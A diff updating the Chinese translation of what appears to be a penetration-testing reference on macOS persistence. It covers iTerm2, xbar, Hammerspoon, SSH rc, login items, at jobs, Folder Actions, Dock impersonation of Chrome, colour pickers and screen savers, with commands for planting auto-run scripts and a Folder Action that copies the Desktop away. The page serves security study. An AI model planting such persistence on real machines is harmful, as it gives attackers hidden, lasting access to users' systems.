-466,19 +466,7 @@ EOF chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" ``` -### macOS Auto Start Locations - -#### Launch Agents - -Launch Agents are used to run processes when a user logs in. They are located in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`. - -#### Launch Daemons - -Launch Daemons are used to run processes at system boot or login. They are located in `/Library/LaunchDaemons/` and `/System/Library/LaunchDaemons/`. - -#### Login Items - -Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`. +或: ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF #!/usr/bin/env python3 @@ -495,17 +483,17 @@ await iterm2.Window.async_create(connection) iterm2.run_forever(main) EOF ``` -脚本 **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** 也会被执行: +该脚本 **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** 也将被执行: ```bash do shell script "touch /tmp/iterm2-autolaunchscpt" ``` -iTerm2偏好设置位于**`~/Library/Preferences/com.googlecode.iterm2.plist`**中,可以在打开iTerm2终端时**指示要执行的命令**。 +iTerm2 的偏好设置位于 **`~/Library/Preferences/com.googlecode.iterm2.plist`**,可以 **指示在打开 iTerm2 终端时执行的命令**。 -此设置可以在iTerm2设置中配置: +此设置可以在 iTerm2 设置中配置:
-命令会反映在偏好设置中: +该命令在偏好设置中反映: ```bash plutil -p com.googlecode.iterm2.plist { @@ -515,7 +503,7 @@ plutil -p com.googlecode.iterm2.plist [...] "Initial Text" => "touch /tmp/iterm-start-command" ``` -您可以设置要执行的命令为: +您可以设置要执行的命令: {% code overflow="wrap" %} ```bash @@ -531,26 +519,26 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2 {% endcode %} {% hint style="warning" %} -很可能有**其他方法滥用 iTerm2 首选项**来执行任意命令。 +高度可能还有**其他方法滥用iTerm2首选项**以执行任意命令。 {% endhint %} ### xbar -Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/) +写作: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/) -* 用于绕过沙盒的有用性: [✅](https://emojipedia.org/check-mark-button) -* 但必须安装 xbar -* TCC 绕过: [✅](https://emojipedia.org/check-mark-button) +* 有助于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) +* 但必须安装xbar +* TCC绕过: [✅](https://emojipedia.org/check-mark-button) * 它请求辅助功能权限 #### 位置 * **`~/Library/Application\ Support/xbar/plugins/`** -* **触发器**: 一旦 xbar 被执行 +* **触发**: 一旦执行xbar #### 描述 -如果安装了流行的程序 [**xbar**](https://github.com/matryer/xbar),则可以在 **`~/Library/Application\ Support/xbar/plugins/`** 中编写一个 shell 脚本,当 xbar 启动时将被执行: +如果安装了流行程序[**xbar**](https://github.com/matryer/xbar),可以在**`~/Library/Application\ Support/xbar/plugins/`**中编写一个shell脚本,该脚本将在启动xbar时执行: ```bash cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF #!/bin/bash @@ -562,21 +550,21 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/) -* 有用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) +* 有助于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) * 但必须安装 Hammerspoon * TCC 绕过: [✅](https://emojipedia.org/check-mark-button) * 它请求辅助功能权限 -#### 位置 +#### Location * **`~/.hammerspoon/init.lua`** -* **触发器**: 一旦启动 Hammerspoon +* **Trigger**: 一旦执行 hammerspoon -#### 描述 +#### Description -[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) 作为 **macOS** 的自动化平台,利用 **LUA 脚本语言** 进行操作。值得注意的是,它支持完整 AppleScript 代码的集成和 shell 脚本的执行,显著增强了其脚本编写能力。 +[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) 作为 **macOS** 的自动化平台,利用 **LUA 脚本语言** 进行操作。值得注意的是,它支持完整的 AppleScript 代码集成和 shell 脚本的执行,显著增强了其脚本能力。 -该应用程序寻找一个单一文件,`~/.hammerspoon/init.lua`,并在启动时执行该脚本。 +该应用程序查找一个文件 `~/.hammerspoon/init.lua`,并在启动时执行该脚本。 ```bash mkdir -p "$HOME/.hammerspoon" cat > "$HOME/.hammerspoon/init.lua" << EOF @@ -585,79 +573,79 @@ EOF ``` ### BetterTouchTool -* 用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) -* 但必须安装BetterTouchTool -* TCC绕过: [✅](https://emojipedia.org/check-mark-button) -* 它请求Automation-Shortcuts和Accessibility权限 +* 有助于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) +* 但必须安装 BetterTouchTool +* TCC 绕过: [✅](https://emojipedia.org/check-mark-button) +* 它请求自动化快捷方式和辅助功能权限 #### 位置 * `~/Library/Application Support/BetterTouchTool/*` -这个工具允许指定应用程序或脚本在按下某些快捷键时执行。攻击者可能能够配置自己的**快捷键和操作以在数据库中执行任意代码**(一个快捷键可能只是按下一个键)。 +该工具允许指示在按下某些快捷键时执行的应用程序或脚本。攻击者可能能够在数据库中配置自己的**快捷键和要执行的操作**以执行任意代码(快捷键可以只是按下一个键)。 ### Alfred -* 用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) -* 但必须安装Alfred -* TCC绕过: [✅](https://emojipedia.org/check-mark-button) -* 它请求Automation、Accessibility甚至Full-Disk访问权限 +* 有助于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) +* 但必须安装 Alfred +* TCC 绕过: [✅](https://emojipedia.org/check-mark-button) +* 它请求自动化、辅助功能甚至完全磁盘访问权限 #### 位置 * `???` -它允许创建工作流,当满足某些条件时可以执行代码。潜在地,攻击者可以创建一个工作流文件并让Alfred加载它(需要付费版本才能使用工作流)。 +它允许创建在满足特定条件时可以执行代码的工作流。攻击者可能能够创建一个工作流文件并使 Alfred 加载它(需要支付高级版本才能使用工作流)。 ### SSHRC -Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/) +写作: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/) -* 用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) -* 但需要启用和使用ssh -* TCC绕过: [✅](https://emojipedia.org/check-mark-button) -* SSH用于具有FDA访问权限 +* 有助于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) +* 但需要启用并使用 ssh +* TCC 绕过: [✅](https://emojipedia.org/check-mark-button) +* SSH 需要有 FDA 访问权限 #### 位置 * **`~/.ssh/rc`** -* **触发器**:通过ssh登录 +* **触发**: 通过 ssh 登录 * **`/etc/ssh/sshrc`** -* 需要Root权限 -* **触发器**:通过ssh登录 +* 需要 root 权限 +* **触发**: 通过 ssh 登录 {% hint style="danger" %} -要打开ssh需要完全磁盘访问权限: +启用 ssh 需要完全磁盘访问权限: ```bash sudo systemsetup -setremotelogin on ``` {% endhint %} -#### 描述 & 利用 +#### 描述与利用 -默认情况下,除非在 `/etc/ssh/sshd_config` 中设置了 `PermitUserRC no`,当用户通过 SSH 登录时,将执行脚本 `/etc/ssh/sshrc` 和 `~/.ssh/rc`。 +默认情况下,除非在 `/etc/ssh/sshd_config` 中设置 `PermitUserRC no`,当用户 **通过 SSH 登录** 时,脚本 **`/etc/ssh/sshrc`** 和 **`~/.ssh/rc`** 将被执行。 ### **登录项** -Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/) +写作: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/) -* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button) -* 但需要使用 `osascript` 执行参数 -* TCC 绕过:[🔴](https://emojipedia.org/large-red-circle) +* 有助于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) +* 但你需要带参数执行 `osascript` +* TCC 绕过: [🔴](https://emojipedia.org/large-red-circle) #### 位置 * **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** -* **触发:** 登录 -* 利用载荷存储调用 **`osascript`** +* **触发:** 登录 +* 利用有效载荷存储调用 **`osascript`** * **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** -* **触发:** 登录 +* **触发:** 登录 * 需要 root 权限 #### 描述 -在“系统偏好设置” -> “用户与组” -> **登录项** 中,您可以找到用户登录时要执行的 **项目**。\ -可以通过命令行列出、添加和删除它们: +在系统偏好设置 -> 用户与群组 -> **登录项** 中,你可以找到 **用户登录时要执行的项目**。\ +可以通过命令行列出、添加和删除它们: ```bash #List all items: osascript -e 'tell application "System Events" to get the name of every login item' @@ -668,35 +656,35 @@ osascript -e 'tell application "System Events" to make login item at end with pr #Remove an item: osascript -e 'tell application "System Events" to delete login item "itemname"' ``` -这些项目存储在文件**`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** +这些项目存储在文件 **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** -**登录项**也可以使用API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) 进行指示,该API将在**`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**中存储配置。 +**登录项** 也可以通过 API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) 指示,该配置将存储在 **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** -### 将ZIP作为登录项 +### ZIP 作为登录项 -(查看有关登录项的先前部分,这是一个扩展) +(查看关于登录项的前一部分,这是一个扩展) -如果将**ZIP**文件存储为**登录项**,**`Archive Utility`**将打开它,例如,如果ZIP文件存储在**`~/Library`**中,并包含带有后门的文件夹**`LaunchAgents/file.plist`**,则该文件夹将被创建(默认情况下不会创建),并且plist将被添加,因此下次用户再次登录时,**在plist中指定的后门将被执行**。 +如果您将 **ZIP** 文件存储为 **登录项**,则 **`Archive Utility`** 将打开它,如果该 zip 例如存储在 **`~/Library`** 中并包含文件夹 **`LaunchAgents/file.plist`** 及后门,则该文件夹将被创建(默认情况下并不存在),plist 将被添加,因此下次用户再次登录时,**plist 中指示的后门将被执行**。 -另一个选项是在用户主目录中创建文件**`.bash_profile`**和**`.zshenv`**,因此如果LaunchAgents文件夹已经存在,则此技术仍将起作用。 +另一个选项是在用户 HOME 中创建文件 **`.bash_profile`** 和 **`.zshenv**,这样如果文件夹 LaunchAgents 已经存在,这种技术仍然有效。 ### At -Writeup: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/) +写作: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/) -* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button) -* 但您需要**执行** **`at`**,并且它必须是**启用**的 -* TCC绕过:[🔴](https://emojipedia.org/large-red-circle) +* 有助于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) +* 但您需要 **执行** **`at`**,并且它必须是 **启用的** +* TCC 绕过: [🔴](https://emojipedia.org/large-red-circle) #### 位置 -* 需要**执行** **`at`**,并且它必须是**启用**的 +* 需要 **执行** **`at`**,并且它必须是 **启用的** #### **描述** -`at`任务旨在**安排一次性任务**在特定时间执行。与cron作业不同,`at`任务在执行后会自动删除。需要注意的是,这些任务在系统重新启动后仍然存在,这在某些情况下可能会被视为潜在的安全问题。 +`at` 任务旨在 **调度一次性任务** 在特定时间执行。与 cron 作业不同,`at` 任务在执行后会自动删除。需要注意的是,这些任务在系统重启后是持久的,在某些条件下将其标记为潜在的安全隐患。 -默认情况下它们是**禁用**的,但**root**用户可以使用以下命令**启用**它们: +默认情况下,它们是 **禁用的**,但 **root** 用户可以通过以下方式 **启用** **它们**: ```bash sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist ``` @@ -710,7 +698,7 @@ sh-3.2# atq 26 Tue Apr 27 00:46:00 2021 22 Wed Apr 28 00:29:00 2021 ``` -以上我们可以看到两个已计划的任务。我们可以使用 `at -c JOBNUMBER` 命令打印任务的详细信息。 +上面我们可以看到两个已调度的任务。我们可以使用 `at -c JOBNUMBER` 打印任务的详细信息。 ```shell-session sh-3.2# at -c 26 #!/bin/sh @@ -742,10 +730,10 @@ unset OLDPWD echo 11 > /tmp/at.txt ``` {% hint style="warning" %} -如果未启用 AT 任务,则创建的任务将不会被执行。 +如果 AT 任务未启用,则创建的任务将不会执行。 {% endhint %} -**作业文件**可以在 `/private/var/at/jobs/` 找到 +**作业文件**可以在 `/private/var/at/jobs/` 找到。 ``` sh-3.2# ls -l /private/var/at/jobs/ total 32 @@ -754,44 +742,44 @@ total 32 -r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2 -rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2 ``` -文件名包含队列、作业编号和计划运行时间。例如,让我们看看 `a0001a019bdcd2`。 +文件名包含队列、作业编号和计划运行的时间。例如,让我们看一下 `a0001a019bdcd2`。 * `a` - 这是队列 * `0001a` - 十六进制的作业编号,`0x1a = 26` -* `019bdcd2` - 十六进制的时间。它表示自纪元以来经过的分钟数。`0x019bdcd2` 在十进制中是 `26991826`。如果我们将其乘以60,我们得到 `1619509560`,这是 `GMT: 2021年4月27日,星期二 7:46:00`。 +* `019bdcd2` - 十六进制的时间。它表示自纪元以来经过的分钟数。`0x019bdcd2` 在十进制中是 `26991826`。如果我们将其乘以 60,我们得到 `1619509560`,即 `GMT: 2021. April 27., Tuesday 7:46:00`。 -如果我们打印作业文件,我们会发现它包含了我们使用 `at -c` 得到的相同信息。 +如果我们打印作业文件,我们会发现它包含与我们使用 `at -c` 获得的相同信息。 ### 文件夹操作 -Writeup: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\ -Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) +写作: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\ +写作: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) -* 有用于绕过沙箱:[✅](https://emojipedia.org/check-mark-button) -* 但您需要能够调用带参数的 `osascript` 来联系 **`System Events`** 以配置文件夹操作 -* TCC绕过:[🟠](https://emojipedia.org/large-orange-circle) -* 它具有一些基本的TCC权限,如桌面、文稿和下载 +* 有助于绕过沙盒: [✅](https://emojipedia.org/check-mark-button) +* 但你需要能够带参数调用 `osascript` 以联系 **`System Events`** 来配置文件夹操作 +* TCC 绕过: [🟠](https://emojipedia.org/large-orange-circle) +* 它具有一些基本的 TCC 权限,如桌面、文档和下载 #### 位置 * **`/Library/Scripts/Folder Action Scripts`** * 需要 root 权限 -* **触发器**:访问指定文件夹 +* **触发器**: 访问指定文件夹 * **`~/Library/Scripts/Folder Action Scripts`** -* **触发器**:访问指定文件夹 +* **触发器**: 访问指定文件夹 #### 描述与利用 -文件夹操作是由文件夹中的更改自动触发的脚本,例如添加、删除项目,或其他操作,如打开或调整文件夹窗口大小。这些操作可用于各种任务,并且可以通过不同方式触发,如使用 Finder UI 或终端命令。 +文件夹操作是由文件夹中的变化自动触发的脚本,例如添加、删除项目或其他操作,如打开或调整文件夹窗口的大小。这些操作可以用于各种任务,并可以通过不同的方式触发,例如使用 Finder 界面或终端命令。 -设置文件夹操作时,您可以选择以下选项: +要设置文件夹操作,你可以选择: -1. 使用 [Automator](https://support.apple.com/guide/automator/welcome/mac) 制作文件夹操作工作流,并将其安装为服务。 -2. 通过文件夹上下文菜单中的文件夹操作设置手动附加脚本。 -3. 利用 OSAScript 向 `System Events.app` 发送苹果事件消息,以通过编程方式设置文件夹操作。 -* 这种方法特别适用于将操作嵌入系统中,提供一定程度的持久性。 +1. 使用 [Automator](https://support.apple.com/guide/automator/welcome/mac) 创建文件夹操作工作流并将其安装为服务。 +2. 通过文件夹的上下文菜单中的文件夹操作设置手动附加脚本。 +3. 利用 OSAScript 向 `System Events.app` 发送 Apple Event 消息,以编程方式设置文件夹操作。 +* 这种方法特别适合将操作嵌入系统,提供一定程度的持久性。 -以下脚本是文件夹操作中可以执行的示例: +以下脚本是文件夹操作可以执行的示例: ```applescript // source.js var app = Application.currentApplication(); @@ -801,11 +789,11 @@ app.doShellScript("touch ~/Desktop/folderaction.txt"); app.doShellScript("mkdir /tmp/asd123"); app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` -要使上述脚本可被文件夹操作使用,请使用以下命令进行编译: +要使上述脚本可用于文件夹操作,请使用以下命令编译它: ```bash osacompile -l JavaScript -o folder.scpt source.js ``` -在脚本编译完成后,通过执行以下脚本设置文件夹操作。此脚本将全局启用文件夹操作,并将先前编译的脚本专门附加到桌面文件夹。 +在脚本编译后,通过执行以下脚本来设置文件夹操作。此脚本将全局启用文件夹操作,并将之前编译的脚本特定地附加到桌面文件夹。 ```javascript // Enabling and attaching Folder Action var se = Application("System Events"); @@ -815,11 +803,11 @@ var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"}); se.folderActions.push(fa); fa.scripts.push(myScript); ``` -使用以下命令运行设置脚本: +运行设置脚本: ```bash osascript -l JavaScript /Users/username/attach.scpt ``` -* 这是通过 GUI 实现持久性的方法: +* 这是通过GUI实现这种持久性的方式: 这是将要执行的脚本: @@ -834,56 +822,56 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` {% endcode %} -使用以下命令编译:`osacompile -l JavaScript -o folder.scpt source.js` +编译它: `osacompile -l JavaScript -o folder.scpt source.js` 移动到: ```bash mkdir -p "$HOME/Library/Scripts/Folder Action Scripts" mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" ``` -然后,打开`Folder Actions Setup`应用程序,选择**您想要监视的文件夹**,然后在您的情况下选择**`folder.scpt`**(在我的情况下,我将其命名为output2.scp): +然后,打开 `Folder Actions Setup` 应用,选择 **您想要监视的文件夹**,并在您的情况下选择 **`folder.scpt`**(在我的情况下我称它为 output2.scp):
-现在,如果您使用**Finder**打开该文件夹,您的脚本将被执行。 +现在,如果您使用 **Finder** 打开该文件夹,您的脚本将被执行。 -此配置存储在以base64格式存储的**plist**中,位于**`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**。 +此配置存储在 **plist** 中,位于 **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** 的 base64 格式中。 -现在,让我们尝试在没有GUI访问权限的情况下准备这个持久性: +现在,让我们尝试在没有 GUI 访问的情况下准备这个持久性: -1. **复制 `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** 到 `/tmp` 以备份它: +1. **将 `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** 复制到 `/tmp` 以备份: * `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` -2. **删除**您刚刚设置的文件夹操作: +2. **移除** 您刚刚设置的文件夹操作:
-现在我们有了一个空的环境 +现在我们有了一个空环境 3. 复制备份文件:`cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` -4. 打开Folder Actions Setup.app以使用此配置:`open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` +4. 打开 Folder Actions Setup.app 以使用此配置:`open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` {% hint style="danger" %} -对我来说这个方法不起作用,但这是来自报告的指令:( +这对我没有用,但这些是写作中的说明:( {% endhint %} -### Dock快捷方式 +### Dock 快捷方式 -报告:[https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/) +写作:[https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/) -* 用于绕过沙盒的有用方法:[✅](https://emojipedia.org/check-mark-button) -* 但您需要在系统内安装一个恶意应用程序 -* TCC绕过:[🔴](https://emojipedia.org/large-red-circle) +* 有助于绕过沙盒:[✅](https://emojipedia.org/check-mark-button) +* 但您需要在系统中安装恶意应用程序 +* TCC 绕过:[🔴](https://emojipedia.org/large-red-circle) #### 位置 * `~/Library/Preferences/com.apple.dock.plist` -* **触发器**:当用户点击Dock内的应用程序时 +* **触发**:当用户点击 Dock 中的应用程序时 -#### 描述和利用 +#### 描述与利用 -Dock中显示的所有应用程序都在plist文件中指定:**`~/Library/Preferences/com.apple.dock.plist`** +所有出现在 Dock 中的应用程序都在 plist 中指定:**`~/Library/Preferences/com.apple.dock.plist`** -只需使用以下命令即可**添加一个应用程序**: +只需使用以下命令即可 **添加应用程序**: {% code overflow="wrap" %} ```bash @@ -895,7 +883,7 @@ killall Dock ``` {% endcode %} -通过一些**社会工程**,你可以在 dock 中**冒充例如 Google Chrome**,实际上执行你自己的脚本: +通过一些**社会工程**,你可以在 dock 中**伪装成例如 Google Chrome**,并实际执行你自己的脚本: ```bash #!/bin/sh @@ -952,28 +940,26 @@ killall Dock Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/) -* 用于绕过沙盒:[🟠](https://emojipedia.org/large-orange-circle) -* 需要发生非常具体的操作 +* 有助于绕过沙盒: [🟠](https://emojipedia.org/large-orange-circle) +* 需要发生一个非常特定的动作 * 你将进入另一个沙盒 -* TCC绕过:[🔴](https://emojipedia.org/large-red-circle) +* TCC 绕过: [🔴](https://emojipedia.org/large-red-circle) #### 位置 * `/Library/ColorPickers` -* 需要root权限 -* 触发条件:使用颜色选择器 +* 需要 root 权限 +* 触发: 使用颜色选择器 * `~/Library/ColorPickers` -* 触发条件:使用颜色选择器 +* 触发: 使用颜色选择器 #### 描述与利用 -**编译一个颜色选择器**捆绑包与你的代码(你可以使用[**这个作为例子**](https://github.com/viktorstrate/color-picker-plus)),并添加一个构造函数(就像[屏幕保护程序部分](macos-auto-start-locations.md#screen-saver)中一样),然后将捆绑包复制到`~/Library/ColorPickers`。 +**编译一个颜色选择器** 包含你的代码(你可以使用 [**这个作为例子**](https://github.com/viktorstrate/color-picker-plus))并添加一个构造函数(如在 [屏幕保护程序部分](macos-auto-start-locations.md#screen-saver) 中)并将包复制到 `~/Library/ColorPickers`。 -然后,当颜色选择器被触发时,你的代码也应该被执行。 +然后,当颜色选择器被触发时,你的代码也应该被触发。 -请注意,加载你的库的二进制文件有一个**非常严格的沙盒**:`/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` - -{% code overflow="wrap" %} +请注意,加载你的库的二进制文件有一个 **非常严格的沙盒**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` ```bash [Key] com.apple.security.temporary-exception.sbpl [Value] @@ -984,23 +970,23 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.g ``` {% endcode %} -### Finder Sync插件 +### Finder Sync 插件 -**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\ -**Writeup**: [https://objective-see.org/blog/blog\_0x11.html](https://objective-see.org/blog/blog\_0x11.html) +**写作**: [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\ +**写作**: [https://objective-see.org/blog/blog\_0x11.html](https://objective-see.org/blog/blog\_0x11.html) -* 有用于绕过沙盒: **否,因为您需要执行自己的应用程序** -* TCC绕过: ??? +* 绕过沙盒的有用性: **不,因为你需要执行自己的应用程序** +* TCC 绕过: ??? #### 位置 * 一个特定的应用程序 -#### 描述 & 攻击 +#### 描述与利用 -一个带有Finder Sync扩展的应用程序示例[**可以在这里找到**](https://github.com/D00MFist/InSync)。 +一个带有 Finder Sync 扩展的应用程序示例 [**可以在这里找到**](https://github.com/D00MFist/InSync)。 -应用程序可以拥有`Finder Sync Extensions`。这个扩展将放在将要执行的应用程序中。此外,为了使扩展能够执行其代码,它**必须使用一些有效的苹果开发者证书进行签名**,它必顶**必须被沙盒化**(尽管可以添加宽松的例外),并且必须注册到类似于: +应用程序可以拥有 `Finder Sync Extensions`。这个扩展将嵌入到将要执行的应用程序中。此外,为了使扩展能够执行其代码,它 **必须被签名**,并且必须拥有有效的 Apple 开发者证书,它必须是 **沙盒化的**(尽管可以添加放宽的例外),并且必须注册为类似于: ```bash pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex pluginkit -e use -i com.example.InSync.InSync @@ -1010,28 +996,28 @@ pluginkit -e use -i com.example.InSync.InSync Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b) -* 有用于绕过沙盒:[🟠](https://emojipedia.org/large-orange-circle) -* 但最终会陷入常见应用程序沙盒 -* TCC绕过:[🔴](https://emojipedia.org/large-red-circle) +* 有助于绕过沙箱: [🟠](https://emojipedia.org/large-orange-circle) +* 但你将进入一个常见的应用程序沙箱 +* TCC 绕过: [🔴](https://emojipedia.org/large-red-circle) #### 位置 * `/System/Library/Screen Savers` -* 需要root权限 -* **触发器**:选择屏幕保护程序 +* 需要 root 权限 +* **触发**: 选择屏幕保护程序 * `/Library/Screen Savers` -* 需要root权限 -* **触发器**:选择屏幕保护程序 +* 需要 root 权限 +* **触发**: 选择屏幕保护程序 * `~/Library/Screen Savers` -* **触发器**:选择屏幕保护程序 +* **触发**: 选择屏幕保护程序
#### 描述与利用 -在Xcode中创建一个新项目,并选择模板生成一个新的**屏幕保护程序**。然后,将代码添加到其中,例如以下代码以生成日志。 +在 Xcode 中创建一个新项目,并选择模板以生成新的 **屏幕保护程序**。然后,将你的代码添加到其中,例如以下代码以生成日志。 -**构建**它,并将`.saver`捆绑包复制到**`~/Library/Screen Savers`**。然后,打开屏幕保护程序GUI,只需单击它,它应该会生成大量日志: +**构建**它,并将 `.saver` 包复制到 **`~/Library/Screen Savers`**。然后,打开屏幕保护程序 GUI,点击它,应该会生成大量日志: {% code overflow="wrap" %} ```bash @@ -1045,10 +1031,10 @@ Timestamp (process)[PID] {% endcode %} {% hint style="danger" %} -请注意,因为在加载此代码的二进制文件的授权中(`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`)您可以找到**`com.apple.security.app-sandbox`**,您将处于**常见应用程序沙箱内**。 +请注意,因为在加载此代码的二进制文件的权限中(`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`)可以找到 **`com.apple.security.app-sandbox`**,所以您将处于 **常见应用程序沙箱** 内。 {% endhint %} -Saver 代码: +Saver code: ```objectivec // // ScreenSaverExampleView.m @@ -1114,39 +1100,39 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); @end ``` -### Spotlight插件 +### Spotlight 插件 writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/) -* 有用于绕过沙盒:[🟠](https://emojipedia.org/large-orange-circle) -* 但最终会陷入应用程序沙盒 -* TCC绕过:[🔴](https://emojipedia.org/large-red-circle) -* 沙盒看起来非常受限制 +* 有助于绕过沙盒: [🟠](https://emojipedia.org/large-orange-circle) +* 但你将进入一个应用程序沙盒 +* TCC 绕过: [🔴](https://emojipedia.org/large-red-circle) +* 沙盒看起来非常有限 #### 位置 * `~/Library/Spotlight/` -* **触发条件**:创建一个由Spotlight插件管理的扩展名的新文件。 +* **触发**: 创建一个由 Spotlight 插件管理的新文件,具有相应的扩展名。 * `/Library/Spotlight/` -* **触发条件**:创建一个由Spotlight插件管理的扩展名的新文件。 -* 需要Root权限 +* **触发**: 创建一个由 Spotlight 插件管理的新文件,具有相应的扩展名。 +* 需要 root 权限 * `/System/Library/Spotlight/` -* **触发条件**:创建一个由Spotlight插件管理的扩展名的新文件。 -* 需要Root权限 +* **触发**: 创建一个由 Spotlight 插件管理的新文件,具有相应的扩展名。 +* 需要 root 权限 * `Some.app/Contents/Library/Spotlight/` -* **触发条件**:创建一个由Spotlight插件管理的扩展名的新文件。 -* 需要新的应用程序 +* **触发**: 创建一个由 Spotlight 插件管理的新文件,具有相应的扩展名。 +* 需要新应用程序 -#### 描述和利用 +#### 描述与利用 -Spotlight是macOS内置的搜索功能,旨在为用户提供**快速和全面访问计算机上的数据**。\ -为了促进这种快速搜索功能,Spotlight维护一个**专有数据库**,通过**解析大多数文件**创建索引,使得可以通过文件名和内容快速搜索。 +Spotlight 是 macOS 内置的搜索功能,旨在为用户提供 **快速而全面的数据访问**。\ +为了促进这种快速搜索能力,Spotlight 维护一个 **专有数据库**,并通过 **解析大多数文件** 创建索引,从而能够快速搜索文件名及其内容。 -Spotlight的基本机制涉及一个名为'mds'的中央进程,代表**'元数据服务器'**。该进程协调整个Spotlight服务。除此之外,还有多个执行各种维护任务的'mdworker'守护程序,例如索引不同文件类型(`ps -ef | grep mdworker`)。这些任务通过Spotlight导入器插件或**".mdimporter bundles**"实现,这些插件使Spotlight能够理解和索引各种文件格式的内容。 +Spotlight 的基本机制涉及一个名为 'mds' 的中央进程,代表 **'metadata server'**。该进程协调整个 Spotlight 服务。与此相辅相成的是多个 'mdworker' 守护进程,它们执行各种维护任务,例如索引不同类型的文件 (`ps -ef | grep 